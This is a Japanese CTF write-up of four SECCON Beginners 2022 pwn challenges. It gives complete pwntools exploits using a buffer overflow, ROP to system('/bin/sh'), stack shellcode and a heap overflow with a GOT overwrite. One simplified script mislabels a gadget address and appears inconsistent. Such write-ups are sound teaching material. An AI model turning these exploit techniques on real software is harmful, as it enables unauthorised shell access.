SECCON Beginners CTF 2022 write-up
try harder...
まえがき
今年も寝る時の温度調整に困る時期がやってきたので、SECCON Beginners CTF 2022が開催されました。
最初に書いておきますが、pwnableのみのwrite-upです。
他の問題はふんわりとしか解いていないので...
BeginnersBof
解析
./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=86ef4ca27c36d4407e00eb318b228011ce11ac63, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
checksecで確認できるセキュリティ機構は全部なし。
解法
入力用のバッファよりも大きい入力が可能である上に、前述のようにセキュリティ機構がないのでシンプルなBoFができる。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall" #libc = ELF() elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("beginnersbof.quals.beginners.seccon.jp", 9000) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b main+178 c """ p = gdb.debug(chall,cmd) else: p = process(chall) win_func_addr = elf.symbols['win'] payload = b"A" * 8 * 5 payload += p64(win_func_addr) p.recvuntil("How long is your name?") p.sendline(str(len(payload) + 2)) p.recvuntil("What's your name?") p.sendline(payload) p.interactive()
raindrop
解析
./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cba1707049faf8a4e56b2adfe2b8e9813e087e12, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
解法
PIEが無効かつcanaryがないため、ROPを組む事を考える。
しかし、入力できるバッファのサイズが0x30 byteであるのに対して、バッファからリターンアドレスまでの距離が0x18 byteであるため、残りの0x18 byteでROPを組む必要がある。
このサイズでシェルを奪うROPを組む方法を思いつかなかったため、vuln関数内のreadの処理(vuln+64
)をもう一度呼び出す事にした。
手元の環境でもう一度呼び出して見ると、二回目のread関数の引数はread(0, [rbp - 0x10], 0x30)
のようになる事がわかる。
この時のrbpの値はret命令直前のleave命令によってリターンアドレス前のsaved rbpの値になるため、実質的に任意のアドレスへの書き込みが可能となる。
2回目の入力で直接リターンアドレスを書き換えれば、前述の0x18 byteの制限がリターンアドレスを含めた0x30 byteまでの制限に緩和できるため、一回目の入力前のshow_stack
関数の出力からスタック上のアドレスを取得し、そこから2回目の入力で直接リターンアドレスを書き換えれるアドレスまでのオフセットを求めた。
これによって、movaps
命令によるスタックのアライメントに起因するエラーを回避(ret命令を一回実行するだけ)しつつsystem
関数の引数を設定してシェルを起動するROPを組む事ができる。
(exploitではpayloadのダイエットのために一回目のバッファに/bin/sh
を置いているが、2回目のペイロードの制限である0x30 byteまで余裕があるので必要ではない...)
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall" #libc = ELF() elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("raindrop.quals.beginners.seccon.jp", 9001) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *vuln+112 c """ p = gdb.debug(chall,cmd) else: p = process(chall) # Get stack address p.recvuntil("000002 | ") ## 1st payload start address payload_addr = eval(p.recv(18)) - 0x20 log.info("payload@stack: " + hex(payload_addr)) ## 2nd payload start address payload_2nd_addr = payload_addr + 0x18 log.info("payload2@stack: " + hex(payload_2nd_addr)) # 1st payload (recall read@vuln) payload = b'/bin/sh\0' payload += b'A' * 8 payload += p64(payload_2nd_addr + 0x10)# saved rbp payload += p64(0x401246)# vuln+64 ## read(0, [saved rbp - 0x10], 0x30) # 2nd payload (exec shell) payload2 = p64(0x401453)# pop rdi; ret payload2 += p64(payload_addr) payload2 += p64(0x40101a)# ret (for movaps) payload2 += p64(elf.plt['system']) p.recvuntil("Did you understand?") p.sendline(payload) sleep(1) p.sendline(payload2) p.interactive()
[追記] 競技後にRIRUさんからもっとシンプルにまとめる案をいただきました。
一回目の時点でバッファのアドレスはわかっているため、バッファ内に/bin/sh
を置くのはそのままで、残りの0x18 byteをそれぞれ、
1. pop rdi; ret;
2. /bin/sh
のアドレス
3. system@plt
として使用する方法です。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall" #libc = ELF() elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("raindrop.quals.beginners.seccon.jp", 9001) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *vuln+112 c """ p = gdb.debug(chall,cmd) else: p = process(chall) # Get stack address p.recvuntil("000002 | ") ## payload start address buf_addr = eval(p.recv(18)) - 0x20 log.info("buffer@stack: " + hex(buf_addr)) # payload payload = b'/bin/sh\0' payload += b'A' * 8 payload += p64(0x40101a)# pop rdi; ret payload += p64(buf_addr) payload += p64(elf.plt['system']) p.recvuntil("Did you understand?") p.sendline(payload) p.interactive()
一発で通るしこっちの方がシンプルでいいですね。
RIRUさん、ありがとうございました。
snowdrop
解析
./chall: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9e7476418f9c7f3e7069f3b041c09ed5e46aa64f, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
解法
スタック領域が実行可能なので、スタック上でのシェルコード実行を考える。
raindropと同じ要領でスタック上のアドレスを取得し、リターンアドレスをスタック上のシェルコードのアドレスに書き換えた。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall" #libc = ELF() elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("snowdrop.quals.beginners.seccon.jp", 9002) elif len(argv) >= 2 and argv[1] == "d": cmd = """ b *main+107 c """ p = gdb.debug(chall,cmd) else: p = process(chall) p.recvuntil("000006 | ") payload_addr = eval(p.recv(18)) -0x268 log.info("payload@stack: " + hex(payload_addr)) payload = b"" payload += b'A' * 8 * 3 payload += p64(payload_addr + len(payload) + 8) payload += asm(shellcraft.sh()) p.recvuntil("Did you understand?") p.sendline(payload) p.interactive()
simplelist
解析
./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/t3mp/ctf/seccon_beginners_2022/pwn/simplelist/ld-2.33.so, for GNU/Linux 3.2.0, BuildID[sha1]=c1ea22cea66863313f8fa1c228051f7d991d4dcb, not stripped
Arch: amd64-64-little RELRO: No RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3fe000)
解法
問題にglibc 2.33が同梱されていたため、「2.32以降のglibcの問題に取り組んだ事ないから詰んだか...?」と焦ったが、よくよく見てみるとcreate関数とedit関数に自明なheap overflowがあったので安心した...
(house of * 周りも精進したい)
void create() { ---- snipped ---- gets(e->content);// overflow e->next = NULL; list_add(e); }
void edit() { ---- snipped ---- printf("New content: "); gets(e->content);// overflow }
これらの関数によって管理されるメモは、
typedef struct memo { struct memo *next; char content[CONTENT_SIZE]; } Memo;
のような構造で管理されているため、heap overflowによって次のメモのアドレス(*next)を書き換える事が出来る。
libcのアドレスをリークしないとシェルを奪うのに不便なので、てきとうにsetvbuf
関数のGOTをnextに置く事で、libc上のsetvbuf
関数のアドレスをリークする。
(ただしshow関数を使用してアドレスをリークしようとするとsetvbuf
関数の機械語をポインタとして参照しようとしてSIGSEGVで落ちるので、edit関数のOld contentを通してリークする。)
アドレスリークによってlibc上のsystem
関数のアドレスを算出できるので、メニュー選択で使用するatoi
関数のGOTをsystem
関数に書き換え、シェルを起動する。
#!/usr/bin/env python3 # -*- coding:utf-8 -* from pwn import * from sys import argv from time import sleep context.terminal = ['tmux', 'sp', '-h'] context.log_level = "debug" chall = "./chall" libc = ELF("./libc-2.33.so") elf = ELF(chall) context.binary = chall context.binary.checksec() if len(argv) >= 2 and argv[1] == "r": p = remote("simplelist.quals.beginners.seccon.jp", 9003) elif len(argv) >= 2 and argv[1] == "d": cmd = """ c loadsym """ p = gdb.debug(chall,cmd) else: p = process(chall) def create(buf): p.recvuntil(">") p.sendline('1') p.recvuntil("Content:") p.sendline(buf) def edit(index, buf): p.recvuntil(">") p.sendline('2') p.recvuntil("index:") p.sendline(str(index)) p.recvuntil("New content:") p.sendline(buf) create(b'A' * 0x20) create(b'B' * 0x20) # overwrite next address(index=1) payload = b'C' * 0x20# buffer for index 0 payload += p64(0x31) # heap chunk header payload += p64(elf.got['setvbuf'] - 0x8)# next address edit(0, payload) # leak libc address p.recvuntil(">") p.sendline('2') p.recvuntil("index:") p.sendline(str(2)) p.recvuntil("Old content: ") setvbuf_libc_addr = u64(p.recvline().rstrip(b'\n') + b'\00' * 2) log.info("setvbuf@libc: " + hex(setvbuf_libc_addr)) libc_base = setvbuf_libc_addr - libc.symbols['setvbuf'] log.info("libc base: " + hex(libc_base)) system_libc_addr = libc_base + libc.symbols['system'] log.info("system@libc: " + hex(system_libc_addr)) p.recvuntil("New content:") p.sendline(b'') # GOT overwrite (atoi@got -> system@libc) payload = b'C' * 0x20# buffer for index 0 payload += p64(0x31) # heap chunk header payload += p64(elf.got['atoi'] - 0x8) edit(0, payload) edit(2, p64(system_libc_addr)) # exec shell p.recvuntil(">") p.sendline("/bin/sh") p.interactive()
あとがき
Monkey Heap倒して全完したかった...
SECCON Beginners CTFは毎年悔しい思い出ができるので、精進しなくてはという気持ちに駆られる。